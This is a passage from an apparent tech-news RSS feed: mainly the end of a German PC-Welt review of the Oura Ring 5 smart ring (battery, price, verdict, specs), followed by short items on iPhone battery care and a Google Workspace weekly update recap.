<p class="wp-block-paragraph">Sie erhalten zusätzliche Anleitungen sowie Hinweise, die Ihnen helfen, diese stressige Phase Ihrer Woche zu bewältigen. Ich finde, dass sich die Erkenntnisse zur Bereitschaft leichter in die Praxis umsetzen lassen als die zur Belastbarkeit. Wenn Sie sich mehr auf Stress konzentrieren, ist diese Funktion eher auf Sie zugeschnitten.</p>



<h2 class="wp-block-heading">Akkulaufzeit &amp; Aufladen</h2>



<ul class="wp-block-list">
<li>Bis zu 9 Tage Akkulaufzeit</li>



<li>Vollständige Aufladung in 80 Minuten</li>



<li>Optionales Ladecase erhältlich</li>
</ul>



<p class="wp-block-paragraph">Trotz der geringeren Größe gibt Oura an, dass die Akkulaufzeit des Ring 5 nicht beeinträchtigt wird. Demnach hält der Ring 5 zwischen 6 und 9 Tagen durch. Dies steht im Gegensatz zu den für den Oura Ring 4 angegebenen 5 bis 8 Tagen – sie wurde also leicht verbessert.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.09.04.png?w=1024" alt="Oura Ring 5" class="wp-image-4197763" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Oura gibt an, das Design überarbeitet und die Akkuleistung mithilfe von Software optimiert zu haben. Ähnlich wie bei den Vorgängermodellen hält dieser Ring eine Woche lang durch, sofern Sie die energieintensivere Blutsauerstoffmessung nicht nutzen.</p>



<p class="wp-block-paragraph">Was die Frage angeht, ob dies die beste Akkulaufzeit unter den derzeit erhältlichen Smart-Ringen ist: Sie reicht noch nicht ganz an die Spitzenwerte heran. Sowohl <a href="https://www.pcwelt.de/article/3063223/ringconn-gen-2-test.html" target="_blank">der RingConn Gen 2</a> als auch die neuesten Ringe von Ultrahuman halten länger, doch der Ring 5 dürfte für die meisten Nutzer ausreichend lange durchhalten.</p>



<p class="wp-block-paragraph">Das Aufladen des Rings erfolgt nach wie vor auf die gleiche Weise. Es handelt sich um dieselbe Art von Ladestation, bei der es über eine Stunde dauern kann, bis der Akku von 0 auf 100 Prozent aufgeladen ist. Wenn Sie eine bequemere und reisefreundlichere Möglichkeit zum Aufladen des Ring 5 wünschen, müssen Sie mehr für das Ladeetui ausgeben, das – genau wie der Ring – <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">mit 109 Euro</a> nicht gerade günstig ist.</p>



<h2 class="wp-block-heading">Preis &amp; Verfügbarkeit</h2>



<p class="wp-block-paragraph">Der Preis für den Oura Ring 5 beginnt bei 429 Euro und kann je nach Ausführung bis zu 529 Euro betragen. Das ist eine Preiserhöhung um 20 Euro gegenüber dem Oura Ring 4, ohne das zusätzliche Abonnement für 5,99 Euro pro Monat oder 69,99 Euro pro Jahr.</p>



<p class="wp-block-paragraph">Damit gehört er zu den teuersten Smart-Ringen auf dem Markt, sodass die Kaufentscheidung nicht ganz so einfach fällt. Vor allem, wenn es mittlerweile auch Modelle ohne Display gibt, wie den <a href="https://www.pcwelt.de/article/3151671/google-fitbit-air-test.html" target="_blank">Fitbit Air</a> für 100 Euro, falls Sie sich nicht unbedingt für einen Ring entscheiden möchten.</p>



<p class="wp-block-paragraph">Er ist jedoch nicht so teuer wie der Ultrahuman Ring Pro und der RingConn Gen 2. Bei diesen Ringen ist jedoch kein Abonnement erforderlich, um auf alle verfügbaren Funktionen zugreifen zu können. Das gilt auch für den <a href="https://www.pcwelt.de/article/3062918/samsung-galaxy-ring-test.html" target="_blank">Samsung Galaxy Ring</a> für 449 Euro.</p>



<p class="wp-block-paragraph">Sie können den Oura Ring 5 im <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">offiziellen Shop</a> sowie bei Anbietern wie <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">Amazon</a> erwerben. Sehen Sie sich unsere Liste der <a href="https://www.pcwelt.de/article/3063681/bester-smart-ring-test.html" target="_blank">besten Smart-Ringe</a> an, um unsere vollständigen Empfehlungen zu erhalten.</p>



<h2 class="wp-block-heading">Sollten Sie den Oura Ring 5 kaufen?</h2>



<p class="wp-block-paragraph">Wenn Sie bereits einen Oura Ring 4 besitzen und mit der Größe sowie dem Aussehen und der Leistung – ob aus Keramik oder in der Standardausführung – zufrieden sind, dann benötigen Sie den Oura Ring 5 wahrscheinlich nicht. Zumal die neuen Softwarefunktionen auch für den Ring 4 verfügbar sein werden.</p>



<p class="wp-block-paragraph">Wenn Sie auf einen kleineren, unauffälligeren Oura gewartet haben, dann ist der Ring 5 genau das Richtige für Sie. Dazu erhalten Sie Zugriff auf dieselben Funktionen und möglicherweise eine längere Akkulaufzeit (sofern Sie mit den Abonnementkosten einverstanden sind).</p>



<p class="wp-block-paragraph">Das Hardware- und Software-Paket macht den Oura Ring nach wie vor zum Maßstab, den es zu übertreffen gilt. Zwar haben Anbieter wie Ultrahuman und Newcomer wie <a href="https://www.pcwelt.de/article/3110713/leep-ring-test.html" target="_blank">der Leep Ring 1</a> gezeigt, dass es auch außerhalb von Oura hervorragende Software gibt. Doch dieser sieht einfach nicht so stilvoll aus, was durchaus wichtig bei einem Smart Ring ist.</p>



<p class="wp-block-paragraph">Ich habe die Nutzung des Oura Ring 5 genossen und glaube, dass das neue, kleinere Design wahrscheinlich mehr Menschen dazu bewegen wird, trotz des Abonnements einen Smart-Ring zu kaufen. Ich wäre aber auch zufrieden damit, wieder zu meinem Oura Ring 4 aus Keramik zurückzukehren. Das zeigt einfach, dass Oura nun zwei starke Ring-Optionen im Angebot hat, bei denen man nicht das Gefühl hat, wichtige Software-Updates zu verpassen, wenn man weniger ausgibt.</p>



<h2 class="wp-block-heading">Technische Daten</h2>



<ul class="wp-block-list">
<li>bis zu 9 Tage Akkulaufzeit</li>



<li>kompatibel mit Android und iOS</li>



<li>2,28 mm dick</li>



<li>ab 2 g Gewicht</li>



<li>wasserdicht bis zu 100 Metern</li>



<li>erfasst den Blutsauerstoffgehalt, die Herzfrequenz, die Körpertemperatur, den Schlaf und die tägliche Aktivität</li>



<li>erfordert ein monatliches oder jährliches Abonnement</li>
</ul>



<p class="wp-block-paragraph">(<a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html" data-type="link" data-id="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html" target="_blank">PC-Welt</a>)</p>
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<description><![CDATA[If you want to know how to prolong iPhone battery life, you’re not alone. An iPhone’s battery will die eventually. Over time, it will retain less and less charge until it only lasts a few hours. There isn’t much you can do about this since that’s how batteries work, but understanding the right se...]]></description>
<link>https://tsecurity.de/de/3677153/betriebssysteme/how-to-prolong-an-iphone-batterys-life/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677153/betriebssysteme/how-to-prolong-an-iphone-batterys-life/</guid>
<pubDate>Sat, 18 Jul 2026 00:24:41 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[Google Workspace Weekly Recap - July 17, 2026]]></title>
<description><![CDATA[Google Credential Provider for Windows (GCPW) now supports FIDO2-compliant physical security keys as a second factor for authenticationGoogle Credential Provider for Windows (GCPW) has been updated to support FIDO2-compliant physical security keys as a second factor for authentication. This updat...]]></description>
<link>https://tsecurity.de/de/3677046/web-tipps/google-workspace-weekly-recap-july-17-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677046/web-tipps/google-workspace-weekly-recap-july-17-2026/</guid>
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<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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These new additions join our previously supported languages: English, Spanish, Portuguese, Japanese, French, Korean, German, and Italian. | <a href="https://workspaceupdates.googleblog.com/2026/07/expanded-language-support-for-gemini-in-Google-Docs.html" target="_blank">Learn more</a>.</p><h3>Generate higher quality AI video clips and edit any video with Gemini Omni in Vids</h3><p>Users now have access to Gemini Omni directly within Google Vids. Omni provides higher quality video generation with significant improvements over previous models. Additionally, Omni’s world understanding unlocks simple video edits so you can ask Omni to tweak the video you have to get the video you need. | <a href="https://workspaceupdates.googleblog.com/2026/07/generate-higher-quality-ai-video-clips-and-edit-any-video-with-Gemini-Omni-in-Vids.html" target="_blank">Learn more</a>.</p><h3>Cast yourself in AI video clips using your personal avatar with Gemini Omni in Vids</h3><p>Users now have access to Gemini Omni directly within Google Vids. With Gemini Omni, you can create videos using your personal avatar to scale your presence without the studio time. Use a secure verification process to capture your likeness and then select it as a character in Omni generations within Vids. | <a href="https://workspaceupdates.googleblog.com/2026/07/cast-yourself-in-ai-video-clips-using-your-personal-avatar-with-Gemini-Omni-in-Vids.html" target="_blank">Learn more</a>.</p><h3>New Google Meet 'Take notes for me' settings for admins and end users</h3><p>To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet. | <a href="https://workspaceupdates.googleblog.com/2026/07/new-google-meet-take-notes-for-me-settings-for-admins-and-end-users.html" target="_blank">Learn more</a>.</p><p><span>The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.</span></p>]]></content:encoded>
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